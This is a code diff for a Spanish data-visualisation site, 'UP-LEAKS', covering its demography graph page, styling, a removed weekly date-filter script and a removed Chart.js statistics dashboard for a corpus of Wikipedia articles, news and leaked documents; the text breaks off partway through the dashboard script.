.detail-body { flex: 1; overflow-y: auto; white-space: pre-wrap; line-height: 1.55; font-size: 0.78em; color: #e0e0e0; font-family: 'Fira Code', monospace; min-height: 0; }
.detail-img { width: 100%; max-height: 180px; object-fit: contain; margin-bottom: 12px; border: 1px solid rgba(57,255,20,0.3); border-radius: 3px; }
#detailPanel .placeholder { color: rgba(255,255,255,0.3); font-style: italic; padding: 40px 20px; text-align: center; font-size: 0.85em; }
@media (max-width: 768px) {
main.split-screen.show-detail #graphPanel { display: none; }
main.split-screen.show-detail #detailPanel { width: 100%; max-width: 100%; }
}

View file

@ -4,7 +4,6 @@
<meta charset="UTF-8"> <meta charset="UTF-8">
<title>Demografía y Sociedad</title> <title>Demografía y Sociedad</title>
<link rel="stylesheet" href="popl-up.css"> <link rel="stylesheet" href="popl-up.css">
<link rel="stylesheet" href="sub-nav.css">
<!-- Fuentes --> <!-- Fuentes -->
<link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.googleapis.com">
@ -13,79 +12,21 @@
<!-- Librerías necesarias --> <!-- Librerías necesarias -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/d3/6.7.0/d3.min.js"></script>
<script type="importmap"> <script src="https://unpkg.com/3d-force-graph"></script>
{ "imports": { "three": "https://esm.sh/three@0.179.0", "three/": "https://esm.sh/three@0.179.0/" } }
</script>
</head> </head>
<body> <body>
<!-- Navegación --> <!-- Navegación -->
<nav class="top-nav"> <nav>
<div class="section-buttons"> <ul class="nav-links">
<li><a href="popl-up.html" class="popl-up">Demografía y Sociedad</a></li>
<div class="section-item"> </ul>
<a href="glob-war.html" class="section-btn glob-war-btn">GLOB-WAR</a>
</div>
<div class="section-item">
<a href="int-sec.html" class="section-btn int-sec-btn">INT-SEC</a>
</div>
<div class="section-item">
<a href="climate.html" class="section-btn climate-btn">CLIMATE</a>
</div>
<div class="section-item">
<a href="eco-corp.html" class="section-btn eco-corp-btn">ECO-CORP</a>
</div>
<div class="section-item current">
<a href="popl-up.html" class="section-btn popl-up-btn">POPL-UP <span class="dropdown-arrow"></span></a>
<div class="section-dropdown">
<a href="#" onclick="setSubtema('sobrepoblación');return false;">Sobrepoblación</a>
<a href="#" onclick="setSubtema('enfermedades');return false;">COVID / Enfermedades</a>
<a href="#" onclick="setSubtema('migraciones');return false;">Migraciones</a>
<a href="#" onclick="setSubtema('urbanización');return false;">Urbanización</a>
<a href="#" onclick="setSubtema('distribucion_edad');return false;">Despoblación Rural</a>
</div>
</div>
</div>
</nav> </nav>
<script>
function setSubtema(val) {
var sel = document.getElementById('param2');
if (sel) { sel.value = val; }
var form = document.getElementById('paramForm');
if (form) form.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
document.addEventListener('DOMContentLoaded', function() {
/* ── Dropdown touch (móvil) ── */
var curr = document.querySelector('.section-item.current');
if (curr) {
curr.querySelector('.section-btn').addEventListener('touchend', function(e) {
e.preventDefault();
curr.classList.toggle('open');
});
document.addEventListener('touchend', function(e) {
if (!curr.contains(e.target)) curr.classList.remove('open');
});
}
/* ── Sidebar: botón toggle visible en móvil ── */
var toggle = document.getElementById('sidebarToggle');
var sidebar = document.getElementById('sidebar');
if (toggle && sidebar) {
toggle.style.display = 'block';
toggle.addEventListener('click', function() {
sidebar.classList.toggle('active');
});
}
});
</script>
<!-- Contenedor principal --> <!-- Contenedor principal -->
<main class="split-screen"> <main>
<div id="graphPanel" style="position:relative;">
<button id="volverGrafoBtn">← Volver al grafo completo</button>
<div id="poplUpContainer" style="position: absolute; width: 100%; height: 100%; z-index: 0;"></div> <div id="poplUpContainer" style="position: absolute; width: 100%; height: 100%; z-index: 0;"></div>
<!-- Fondo animado --> <!-- Fondo animado -->
<div class="background"> <div class="background">
<img src="/images/flujos3.jpg"> <img src="/images/flujos3.jpg">
@ -94,6 +35,7 @@
<img src="/images/flujos3.jpg"> <img src="/images/flujos3.jpg">
<img src="/images/flujos3.jpg"> <img src="/images/flujos3.jpg">
</div> </div>
<script> <script>
setTimeout(() => { setTimeout(() => {
const fondo = document.querySelector('.background'); const fondo = document.querySelector('.background');
@ -101,26 +43,6 @@
fondo.style.pointerEvents = 'none'; fondo.style.pointerEvents = 'none';
}, 1000); }, 1000);
</script> </script>
</div>
<div id="detailPanel">
<button id="closeDetail">✕ cerrar</button>
<div id="detailContent">
<div class="detail-meta">
<span class="detail-author"></span>
<span class="detail-date"></span>
</div>
<h2 class="detail-title"></h2>
<div class="detail-relations">
<span class="relations-count"></span>
<div class="relations-nav">
<button id="prevRelation" disabled>&#8592; ant</button>
<span id="relationLabel"></span>
<button id="nextRelation" disabled>sig &#8594;</button>
</div>
</div>
<div class="detail-body"></div>
</div>
</div>
</main> </main>
<!-- Barra lateral de filtros --> <!-- Barra lateral de filtros -->
@ -134,23 +56,16 @@
<input type="date" id="fecha_fin" name="fecha_fin"> <input type="date" id="fecha_fin" name="fecha_fin">
<label for="nodos">Nodos:</label> <label for="nodos">Nodos:</label>
<input type="number" id="nodos" name="nodos" value="100" min="5" max="500"> <input type="number" id="nodos" name="nodos" value="100">
<label for="complejidad">% similitud: <span id="complejidadVal" class="sim-val">8</span></label> <label for="complejidad">Complejidad:</label>
<input type="range" id="complejidad" name="complejidad" min="1" max="25" value="8" <input type="range" id="complejidad" name="complejidad" min="1" max="40" value="20">
oninput="document.getElementById('complejidadVal').textContent = this.value">
<label for="param1">Palabra clave:</label> <label for="param1">Búsqueda por palabra:</label>
<input type="text" id="param1" name="param1" placeholder="ej: migración, pandemia..."> <input type="text" id="param1" name="param1">
<label for="param2">Subtematica:</label> <label for="param2">Búsqueda por temática personalizada:</label>
<select id="param2" name="param2"> <input type="text" id="param2" name="param2">
<option value="">— Todas —</option>
<option value="enfermedades">enfermedades</option>
<option value="urbanización">urbanización</option>
<option value="migraciones">migraciones</option>
<option value="sobrepoblación">sobrepoblación</option>
</select>
<input type="submit" value="Aplicar"> <input type="submit" value="Aplicar">
</form> </form>
@ -159,8 +74,17 @@
<!-- Botón para colapsar la barra --> <!-- Botón para colapsar la barra -->
<button id="sidebarToggle">Toggle Sidebar</button> <button id="sidebarToggle">Toggle Sidebar</button>
<!-- Footer -->
<footer>
<p>
<a href="#">GitHub</a> |
<a href="#">Telegram</a> |
<a href="#">Email</a> |
<a href="#">Web de Tor</a>
</p>
</footer>
<!-- Script principal --> <!-- Script principal -->
<script src="semana-toggle.js"></script> <script src="output_popl_up_pruebas.js"></script>
<script type="module" src="output_popl_up_pruebas.js"></script>
</body> </body>
</html> </html>

View file

@ -38,17 +38,16 @@
cubeContainer.style.top = position.y + 'px'; cubeContainer.style.top = position.y + 'px';
cubeContainer.style.left = position.x + 'px'; cubeContainer.style.left = position.x + 'px';
const cube = document.createElement('div'); cubeContainer.innerHTML = `
cube.className = 'cube'; <div class="cube">
[['front', `País ${i+1}`], ['back', `Detalle ${i+1}`], <div class="face front">País ${i+1}</div>
['left', `Año ${2010 + i}`], ['right', `Muertos ${(i+1)*1000}`], <div class="face back">Detalle ${i+1}</div>
['top', 'ONU'], ['bottom', 'Fuente']].forEach(([cls, txt]) => { <div class="face left">Año ${2010 + i}</div>
const face = document.createElement('div'); <div class="face right">Muertos ${(i+1)*1000}</div>
face.className = `face ${cls}`; <div class="face top">ONU</div>
face.textContent = txt; <div class="face bottom">Fuente</div>
cube.appendChild(face); </div>
}); `;
cubeContainer.appendChild(cube);
cubePositions.push({x: position.x + 35, y: position.y + 35}); // Ajustar al centro del cubo cubePositions.push({x: position.x + 35, y: position.y + 35}); // Ajustar al centro del cubo
graphContainer.appendChild(cubeContainer); graphContainer.appendChild(cubeContainer);

View file

@ -1,56 +0,0 @@
/* Filtro temporal compartido para las vistas de grafo (climate, glob-war, ...).
- "Semanal" (por defecto): fecha_inicio = hace 7 dias, fecha_fin = hoy.
- "Todas": limpia el rango; el backend devuelve una muestra aleatoria de todo
el archivo, incluidas las noticias sin fecha (`fecha: null`).
El backend aplica el rango SOLO a `noticias` (wikipedia/torrents no tienen
fecha), asi que las conexiones noticia<->leak del grafo se mantienen.
Se ejecuta al final del body (form y top-nav ya existen) y ANTES del modulo
del grafo, para que el primer fetchAndRender ya salga en modo semanal. */
(function () {
var fi = document.getElementById('fecha_inicio');
var ff = document.getElementById('fecha_fin');
// Fecha LOCAL, no UTC: toISOString() convierte a UTC y en CEST (+2) entre las
// 00:00 y las 02:00 devolvia la fecha de ayer, desplazando toda la ventana.
function iso(d) {
return d.getFullYear() + '-' +
String(d.getMonth() + 1).padStart(2, '0') + '-' +
String(d.getDate()).padStart(2, '0');
}
function setRango(dias) {
if (!fi || !ff) return;
if (dias === null) { fi.value = ''; ff.value = ''; return; }
var hoy = new Date(), desde = new Date();
desde.setDate(hoy.getDate() - dias);
fi.value = iso(desde); ff.value = iso(hoy);
}
function marcar(a) {
var s = document.getElementById('btnSemanal'), t = document.getElementById('btnTodas');
if (s) s.classList.toggle('active', a === 'semanal');
if (t) t.classList.toggle('active', a === 'todas');
}
function submit() {
var f = document.getElementById('paramForm');
if (f) f.dispatchEvent(new Event('submit', { bubbles: true, cancelable: true }));
}
// 1) Semanal por defecto (fechas puestas antes del primer fetch del grafo)
setRango(7);
// 2) Botones arriba a la derecha, dentro de la top-nav
var nav = document.querySelector('.top-nav');
if (nav && !document.getElementById('rangoBtns')) {
var box = document.createElement('div');
box.id = 'rangoBtns';
box.className = 'rango-btns';
box.innerHTML =
'<button type="button" id="btnSemanal" class="rango-btn active">Semanal</button>' +
'<button type="button" id="btnTodas" class="rango-btn">Todas</button>';
nav.appendChild(box);
document.getElementById('btnSemanal').addEventListener('click', function () {
setRango(7); marcar('semanal'); submit();
});
document.getElementById('btnTodas').addEventListener('click', function () {
setRango(null); marcar('todas'); submit();
});
}
})();

View file

@ -1,429 +0,0 @@
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Fira Code', monospace;
background: #000;
color: #39ff14;
min-height: 100vh;
overflow-x: hidden;
}
/* Scanline overlay */
.scanlines {
pointer-events: none;
position: fixed;
inset: 0;
z-index: 9999;
background: repeating-linear-gradient(
to bottom,
transparent 0px,
transparent 3px,
rgba(0, 0, 0, 0.18) 3px,
rgba(0, 0, 0, 0.18) 4px
);
}
/* ── HEADER ──────────────────────────────────────────────────── */
header {
padding: 20px 30px 10px;
border-bottom: 1px solid #39ff1430;
background: #000;
}
.header-content {
display: flex;
align-items: center;
gap: 20px;
max-width: 1400px;
margin: 0 auto;
}
.back-btn {
color: #39ff14;
text-decoration: none;
font-size: 0.85rem;
border: 1px solid #39ff1460;
padding: 6px 14px;
border-radius: 20px;
transition: all 0.2s;
white-space: nowrap;
}
.back-btn:hover {
background: #39ff14;
color: #000;
}
.title {
font-family: 'Nosifer', cursive;
color: #fff;
font-size: 2.8rem;
line-height: 1;
text-shadow: 0 0 20px #39ff1466;
}
.subtitle {
font-size: 1rem;
color: #39ff1499;
letter-spacing: 0.15em;
}
.computed-at {
font-size: 0.6rem;
color: #39ff1444;
letter-spacing: 0.12em;
margin-left: auto;
}
/* ── MAIN ────────────────────────────────────────────────────── */
main {
max-width: 1400px;
margin: 0 auto;
padding: 30px 20px 80px;
}
/* ── SECTION ─────────────────────────────────────────────────── */
.section {
margin-bottom: 48px;
}
.section-title {
font-size: 0.75rem;
letter-spacing: 0.22em;
color: #39ff14cc;
text-transform: uppercase;
margin-bottom: 20px;
border-left: 3px solid #39ff14;
padding-left: 12px;
}
.title-sub {
font-family: 'Fira Code', monospace;
font-size: 1.2rem;
color: #39ff1499;
font-weight: 400;
}
/* ── TOTALES GRID ────────────────────────────────────────────── */
.totales-grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
gap: 16px;
margin-bottom: 36px;
}
.stat-card {
border: 1px solid #39ff1440;
background: #050505;
padding: 20px 18px 14px;
position: relative;
overflow: hidden;
transition: border-color 0.3s, box-shadow 0.3s;
}
.stat-card::before {
content: '';
position: absolute;
top: 0; left: 0;
width: 3px; height: 100%;
background: var(--accent, #39ff14);
}
.stat-card:hover {
border-color: #39ff1488;
box-shadow: 0 0 20px #39ff1420;
}
.stat-label {
font-size: 0.65rem;
letter-spacing: 0.12em;
color: #39ff1499;
margin-bottom: 10px;
}
.stat-value {
font-size: 2.2rem;
font-weight: 700;
color: #fff;
text-shadow: 0 0 12px currentColor;
line-height: 1;
margin-bottom: 12px;
}
.stat-bar {
height: 2px;
background: #111;
border-radius: 1px;
overflow: hidden;
}
.stat-bar-fill {
height: 100%;
width: 100%;
opacity: 0.7;
animation: barPulse 3s ease-in-out infinite alternate;
}
.stat-sub {
font-size: 0.62rem;
color: #39ff1466;
letter-spacing: 0.08em;
margin-top: 6px;
}
@keyframes barPulse {
from { opacity: 0.4; }
to { opacity: 1; }
}
/* ── CHARTS ROW ──────────────────────────────────────────────── */
.charts-row {
display: flex;
gap: 20px;
align-items: flex-start;
flex-wrap: wrap;
}
.charts-row--center {
justify-content: center;
}
/* ── CHARTS (legacy + new) ───────────────────────────────────── */
.charts-section {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 20px;
margin-bottom: 20px;
}
.chart-box {
border: 1px solid #39ff1430;
background: #050505;
padding: 24px 20px 20px;
position: relative;
flex: 1;
min-width: 260px;
}
.chart-box--wide {
grid-column: 1 / -1;
flex: 0 0 100%;
}
.chart-box--sm {
flex: 0 0 240px;
min-width: 200px;
}
.chart-box--md {
flex: 1;
min-width: 300px;
max-width: 500px;
}
/* ── COMP CARDS ──────────────────────────────────────────────── */
.comp-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
gap: 16px;
}
.comp-card {
border: 1px solid var(--c, #39ff14);
background: #050505;
padding: 18px 16px 14px;
position: relative;
overflow: hidden;
}
.comp-card::before {
content: '';
position: absolute;
top: 0; left: 0;
width: 3px; height: 100%;
background: var(--c, #39ff14);
}
.comp-card-header {
font-size: 0.78rem;
font-weight: 700;
letter-spacing: 0.16em;
text-transform: uppercase;
margin-bottom: 14px;
padding-left: 4px;
}
.comp-row {
display: flex;
justify-content: space-between;
align-items: center;
font-size: 0.7rem;
padding: 4px 4px;
border-bottom: 1px solid #39ff1410;
}
.comp-row span {
color: #39ff1499;
letter-spacing: 0.05em;
}
.comp-row strong {
color: #fff;
font-size: 0.82rem;
}
.sim-bar {
height: 3px;
background: #111;
border-radius: 2px;
overflow: hidden;
margin-top: 12px;
}
.sim-bar-fill {
height: 100%;
border-radius: 2px;
opacity: 0.8;
transition: width 0.8s ease;
}
/* ── SUBTEMA CARDS ───────────────────────────────────────────── */
.temas-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 16px;
}
.subtema-card {
border: 1px solid #39ff1430;
background: #050505;
padding: 18px 16px;
}
.subtema-card-title {
font-size: 0.78rem;
font-weight: 700;
letter-spacing: 0.16em;
text-transform: uppercase;
margin-bottom: 14px;
padding-bottom: 8px;
border-bottom: 1px solid #39ff1420;
}
.subtema-row {
display: flex;
align-items: center;
gap: 8px;
padding: 3px 0;
font-size: 0.65rem;
}
.subtema-name {
flex: 0 0 110px;
color: #39ff14aa;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
letter-spacing: 0.04em;
}
.subtema-bar-wrap {
flex: 1;
height: 4px;
background: #111;
border-radius: 2px;
overflow: hidden;
}
.subtema-bar {
height: 100%;
border-radius: 2px;
border: none;
opacity: 0.75;
}
.subtema-n {
flex: 0 0 36px;
text-align: right;
color: #39ff1488;
font-size: 0.6rem;
}
.chart-title {
font-size: 0.75rem;
letter-spacing: 0.18em;
color: #39ff14cc;
margin-bottom: 20px;
text-transform: uppercase;
}
canvas {
max-height: 300px;
}
/* ── LOADING ─────────────────────────────────────────────────── */
.loading {
text-align: center;
font-size: 1rem;
color: #39ff14;
letter-spacing: 0.2em;
padding: 60px 0;
}
.blink {
animation: blink 1s step-start infinite;
}
@keyframes blink {
50% { opacity: 0; }
}
/* ── FOOTER ──────────────────────────────────────────────────── */
footer {
position: fixed;
bottom: 0;
width: 100%;
background: #000;
border-top: 1px solid #39ff1430;
padding: 10px 0;
text-align: center;
font-family: 'Fira Code', monospace;
color: #39ff14;
font-size: 0.8rem;
z-index: 10;
}
footer a {
color: #39ff14;
text-decoration: none;
transition: color 0.2s;
}
footer a:hover { color: #fff; }
/* ── RESPONSIVE ──────────────────────────────────────────────── */
@media (max-width: 1024px) {
.totales-grid { grid-template-columns: repeat(3, 1fr); }
.charts-row { flex-wrap: wrap; }
.chart-box--sm { flex: 1 1 200px; }
}
@media (max-width: 768px) {
.totales-grid { grid-template-columns: repeat(2, 1fr); }
.charts-section { grid-template-columns: 1fr; }
.charts-row { flex-direction: column; }
.chart-box--sm, .chart-box--md { flex: 0 0 auto; width: 100%; }
.comp-grid { grid-template-columns: 1fr; }
.temas-grid { grid-template-columns: 1fr; }
.title { font-size: 2rem; }
.stat-value { font-size: 1.6rem; }
}
@media (max-width: 480px) {
.totales-grid { grid-template-columns: 1fr 1fr; }
.title { font-size: 1.5rem; }
}

View file

@ -1,360 +0,0 @@
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>UP-LEAKS // STATS</title>
<link rel="stylesheet" href="stats.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@400;700&family=Nosifer&display=swap" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script>
</head>
<body>
<div class="scanlines"></div>
<header>
<div class="header-content">
<a href="/" class="back-btn">← BACK</a>
<h1 class="title">UP-LEAKS <span class="title-sub">// STATS</span></h1>
<span id="computed-at" class="computed-at"></span>
</div>
</header>
<main id="main" style="display:none">
<!-- ── TOTALES GLOBALES ─────────────────────────────── -->
<section class="section">
<h2 class="section-title">// CORPUS TOTAL</h2>
<div class="totales-grid">
<div class="stat-card" style="--accent:#39ff14">
<div class="stat-label">COMPARACIONES</div>
<div class="stat-value" id="val-comparaciones"></div>
<div class="stat-sub" id="sub-comp-txt"></div>
</div>
<div class="stat-card" style="--accent:#00fff2">
<div class="stat-label">ARTÍCULOS WIKI</div>
<div class="stat-value" id="val-wikipedia"></div>
</div>
<div class="stat-card" style="--accent:#ff00ff">
<div class="stat-label">NOTICIAS</div>
<div class="stat-value" id="val-noticias"></div>
</div>
<div class="stat-card" style="--accent:#ffdc00">
<div class="stat-label">LEAKS / DOCS</div>
<div class="stat-value" id="val-torrents"></div>
</div>
<div class="stat-card" style="--accent:#ff6600">
<div class="stat-label">IMÁGENES</div>
<div class="stat-value" id="val-imagenes_wiki"></div>
</div>
<div class="stat-card" style="--accent:#39ff14">
<div class="stat-label">COMP. IMAGEN↔TEXTO</div>
<div class="stat-value" id="val-comp-img"></div>
<div class="stat-sub" id="sub-comp-img"></div>
</div>
</div>
</section>
<!-- ── GRÁFICOS GLOBALES ────────────────────────────── -->
<section class="section">
<h2 class="section-title">// DISTRIBUCIÓN DE FUENTES</h2>
<div class="charts-row">
<div class="chart-box">
<h3 class="chart-title">Corpus por temática</h3>
<canvas id="chartTemas"></canvas>
</div>
<div class="chart-box chart-box--sm">
<h3 class="chart-title">Fuentes globales</h3>
<canvas id="chartDona"></canvas>
</div>
<div class="chart-box chart-box--sm">
<h3 class="chart-title">Comparaciones imagen</h3>
<canvas id="chartCompImg"></canvas>
</div>
</div>
</section>
<!-- ── COMPARACIONES STATS ──────────────────────────── -->
<section class="section">
<h2 class="section-title">// ANÁLISIS DE COMPARACIONES</h2>
<div class="comp-grid" id="comp-grid"></div>
</section>
<!-- ── SUBTEMAS POR TEMÁTICA ────────────────────────── -->
<section class="section">
<h2 class="section-title">// SUBTEMAS POR TEMÁTICA — WIKIPEDIA</h2>
<div class="temas-grid" id="temas-subtemas"></div>
</section>
<!-- ── SUBTEMAS NOTICIAS ────────────────────────────── -->
<section class="section" id="sec-noticias-sub" style="display:none">
<h2 class="section-title">// SUBTEMAS — NOTICIAS</h2>
<div class="temas-grid" id="noticias-subtemas"></div>
</section>
<!-- ── RADAR POR TEMA ───────────────────────────────── -->
<section class="section">
<h2 class="section-title">// COBERTURA POR TEMÁTICA</h2>
<div class="charts-row charts-row--center">
<div class="chart-box chart-box--md">
<h3 class="chart-title">Radar de cobertura</h3>
<canvas id="chartRadar"></canvas>
</div>
<div class="chart-box chart-box--md">
<h3 class="chart-title">Similitud promedio imagen↔texto</h3>
<canvas id="chartSimImg"></canvas>
</div>
</div>
</section>
</main>
<div class="loading" id="loading">CARGANDO DATOS DEL SISTEMA<span class="blink">_</span></div>
<footer>
<p><a href="#">GitHub</a> | <a href="#">Telegram</a> | <a href="#">Email</a> | <a href="#">Web de Tor</a></p>
</footer>
<script>
const TEMAS = ['guerra global','inteligencia y seguridad','cambio climático','demografía y sociedad','economía y corporaciones'];
const TEMA_COLORS = {
'guerra global': '#FF4136',
'inteligencia y seguridad': '#0074D9',
'cambio climático': '#2ECC40',
'demografía y sociedad': '#FF851B',
'economía y corporaciones': '#FFDC00',
};
const TEMA_LABELS = {
'guerra global': 'GLOB-WAR',
'inteligencia y seguridad': 'INT-SEC',
'cambio climático': 'CLIMATE',
'demografía y sociedad': 'POPL-UP',
'economía y corporaciones': 'ECO-CORP',
};
function esc(str) {
return String(str ?? '')
.replace(/&/g, '&amp;').replace(/</g, '&lt;')
.replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#39;');
}
function fmtNum(n) {
if (n >= 1_000_000) return (n / 1_000_000).toFixed(2) + 'M';
if (n >= 1_000) return (n / 1_000).toFixed(1) + 'K';
return String(n);
}
function animateCount(el, target, fmt) {
const dur = 1600, start = performance.now();
function step(now) {
const t = Math.min((now - start) / dur, 1);
const e = 1 - Math.pow(1 - t, 3);
el.textContent = fmt ? fmt(Math.floor(target * e)) : fmtNum(Math.floor(target * e));
if (t < 1) requestAnimationFrame(step);
}
requestAnimationFrame(step);
}
const CHART_OPTS = {
plugins: {
legend: { labels: { color: '#39ff14', font: { family: 'Fira Code', size: 11 } } },
tooltip: {
bodyFont: { family: 'Fira Code' }, titleFont: { family: 'Fira Code' },
backgroundColor: '#080808', borderColor: '#39ff1466', borderWidth: 1,
},
},
};
function scaleOpts(stacked) {
return {
x: { stacked, ticks: { color: '#39ff1499', font: { family: 'Fira Code', size: 10 } }, grid: { color: '#111' } },
y: { stacked, ticks: { color: '#39ff1499', font: { family: 'Fira Code', size: 10 } }, grid: { color: '#111' } },
};
}
async function load() {
try {
const res = await fetch('/api/stats');
if (!res.ok) {
const err = await res.json().catch(() => ({}));
throw new Error(err.error || `HTTP ${res.status}`);
}
const data = await res.json();
document.getElementById('loading').style.display = 'none';
document.getElementById('main').style.display = '';
const { totales, por_tema, subtemas, subtemas_noticias, comp_imagen, comp_texto, computed_at } = data;
if (computed_at) {
const d = new Date(computed_at);
document.getElementById('computed-at').textContent =
`SNAPSHOT: ${d.toLocaleDateString('es-ES')} ${d.toLocaleTimeString('es-ES',{hour:'2-digit',minute:'2-digit'})}`;
}
// ── Contadores ──────────────────────────────────────────
animateCount(document.getElementById('val-comparaciones'), totales.comparaciones);
animateCount(document.getElementById('val-wikipedia'), totales.wikipedia);
animateCount(document.getElementById('val-noticias'), totales.noticias);
animateCount(document.getElementById('val-torrents'), totales.torrents);
animateCount(document.getElementById('val-imagenes_wiki'), totales.imagenes_wiki);
animateCount(document.getElementById('val-comp-img'), comp_imagen.total);
document.getElementById('sub-comp-txt').textContent =
`sim. promedio ~${comp_texto.avg_sim}% · max ${comp_texto.max_sim}%`;
document.getElementById('sub-comp-img').textContent =
`imagen ↔ texto (TF-IDF)`;
// ── Chart: barras apiladas por tema ──────────────────────
new Chart(document.getElementById('chartTemas'), {
type: 'bar',
data: {
labels: TEMAS.map(t => TEMA_LABELS[t]),
datasets: [
{ label: 'Wikipedia', data: TEMAS.map(t => por_tema[t]?.wikipedia||0), backgroundColor:'#00fff2bb', borderColor:'#00fff2', borderWidth:2 },
{ label: 'Noticias', data: TEMAS.map(t => por_tema[t]?.noticias||0), backgroundColor:'#ff00ffbb', borderColor:'#ff00ff', borderWidth:2 },
{ label: 'Leaks', data: TEMAS.map(t => por_tema[t]?.torrents||0), backgroundColor:'#ffdc00bb', borderColor:'#ffdc00', borderWidth:2 },
{ label: 'Imágenes', data: TEMAS.map(t => por_tema[t]?.imagenes_wiki||0),backgroundColor:'#ff6600bb', borderColor:'#ff6600', borderWidth:2 },
],
},
options: { ...CHART_OPTS, scales: scaleOpts(true) },
});
// ── Chart: dona fuentes globales ─────────────────────────
new Chart(document.getElementById('chartDona'), {
type: 'doughnut',
data: {
labels: ['Wikipedia','Noticias','Leaks','Imágenes'],
datasets: [{ data: [totales.wikipedia, totales.noticias, totales.torrents, totales.imagenes_wiki],
backgroundColor:['#00fff2bb','#ff00ffbb','#ffdc00bb','#ff6600bb'],
borderColor: ['#00fff2', '#ff00ff', '#ffdc00', '#ff6600'], borderWidth:2 }],
},
options: { ...CHART_OPTS, cutout:'62%' },
});
// ── Chart: dona comparaciones imagen por tema ─────────────
new Chart(document.getElementById('chartCompImg'), {
type: 'doughnut',
data: {
labels: TEMAS.map(t => TEMA_LABELS[t]),
datasets: [{ data: TEMAS.map(t => comp_imagen.por_tema[t]?.count||0),
backgroundColor: TEMAS.map(t => TEMA_COLORS[t]+'bb'),
borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2 }],
},
options: { ...CHART_OPTS, cutout:'55%' },
});
// ── Comp stats cards ─────────────────────────────────────
const compGrid = document.getElementById('comp-grid');
TEMAS.forEach(t => {
const ci = comp_imagen.por_tema[t] || { count:0, avg_sim:0, max_sim:0 };
const wiki = por_tema[t]?.wikipedia || 0;
const c = TEMA_COLORS[t];
compGrid.innerHTML += `
<div class="comp-card" style="--c:${esc(c)}">
<div class="comp-card-header" style="color:${esc(c)}">${esc(TEMA_LABELS[t])}</div>
<div class="comp-row"><span>Comparaciones img↔txt</span><strong>${esc(fmtNum(ci.count))}</strong></div>
<div class="comp-row"><span>Similitud media</span><strong>${esc(ci.avg_sim)}%</strong></div>
<div class="comp-row"><span>Similitud máxima</span><strong>${esc(ci.max_sim)}%</strong></div>
<div class="comp-row"><span>Artículos Wikipedia</span><strong>${esc(fmtNum(wiki))}</strong></div>
<div class="sim-bar">
<div class="sim-bar-fill" style="width:${Math.min(Number(ci.avg_sim)*4,100)}%;background:${esc(c)}"></div>
</div>
</div>`;
});
// ── Radar cobertura ──────────────────────────────────────
const maxWiki = Math.max(...TEMAS.map(t => por_tema[t]?.wikipedia||0));
new Chart(document.getElementById('chartRadar'), {
type: 'radar',
data: {
labels: TEMAS.map(t => TEMA_LABELS[t]),
datasets: [
{ label: 'Wikipedia', data: TEMAS.map(t => Math.round((por_tema[t]?.wikipedia||0)/maxWiki*100)),
backgroundColor:'#00fff222', borderColor:'#00fff2', pointBackgroundColor:'#00fff2', borderWidth:2 },
{ label: 'Imágenes', data: TEMAS.map(t => Math.round((por_tema[t]?.imagenes_wiki||0)/20*100)),
backgroundColor:'#ff660022', borderColor:'#ff6600', pointBackgroundColor:'#ff6600', borderWidth:2 },
],
},
options: {
...CHART_OPTS,
scales: { r: {
ticks: { color:'#39ff1466', font:{ family:'Fira Code', size:9 }, backdropColor:'transparent' },
grid: { color:'#1a1a1a' },
pointLabels: { color:'#39ff14', font:{ family:'Fira Code', size:11 } },
angleLines: { color:'#1a1a1a' },
}},
},
});
// ── Chart similitud imagen por tema ──────────────────────
new Chart(document.getElementById('chartSimImg'), {
type: 'bar',
data: {
labels: TEMAS.map(t => TEMA_LABELS[t]),
datasets: [
{ label: 'Sim. promedio %', data: TEMAS.map(t => comp_imagen.por_tema[t]?.avg_sim||0),
backgroundColor: TEMAS.map(t => TEMA_COLORS[t]+'99'), borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2 },
{ label: 'Sim. máxima %', data: TEMAS.map(t => comp_imagen.por_tema[t]?.max_sim||0),
backgroundColor: 'transparent', borderColor: TEMAS.map(t => TEMA_COLORS[t]), borderWidth:2, type:'line',
pointRadius:5, pointBackgroundColor: TEMAS.map(t => TEMA_COLORS[t]) },
],
},
options: { ...CHART_OPTS, scales: scaleOpts(false) },
});
// ── Subtemas Wikipedia ────────────────────────────────────
const temasDiv = document.getElementById('temas-subtemas');
TEMAS.forEach(t => {
const subs = subtemas[t] || [];
if (!subs.length) return;
const maxN = subs[0].n;
const c = TEMA_COLORS[t];
temasDiv.innerHTML += `
<div class="subtema-card">
<div class="subtema-card-title" style="color:${esc(c)}">${esc(TEMA_LABELS[t])} <span style="color:#39ff1466;font-size:0.7rem">// ${esc(t)}</span></div>
${subs.map(s => `
<div class="subtema-row">
<span class="subtema-name">${esc(s.subtema)}</span>
<div class="subtema-bar-wrap">
<div class="subtema-bar" style="width:${Math.round(s.n/maxN*100)}%;background:${esc(c)}66"></div>
</div>
<span class="subtema-n">${esc(fmtNum(s.n))}</span>
</div>`).join('')}
</div>`;
});
// ── Subtemas Noticias ─────────────────────────────────────
const hasNot = TEMAS.some(t => (subtemas_noticias[t]||[]).length > 0);
if (hasNot) {
document.getElementById('sec-noticias-sub').style.display = '';
const notDiv = document.getElementById('noticias-subtemas');
TEMAS.forEach(t => {
const subs = subtemas_noticias[t] || [];
if (!subs.length) return;
const maxN = subs[0].n;
const c = TEMA_COLORS[t];
notDiv.innerHTML += `
<div class="subtema-card">
<div class="subtema-card-title" style="color:${esc(c)}">${esc(TEMA_LABELS[t])}</div>
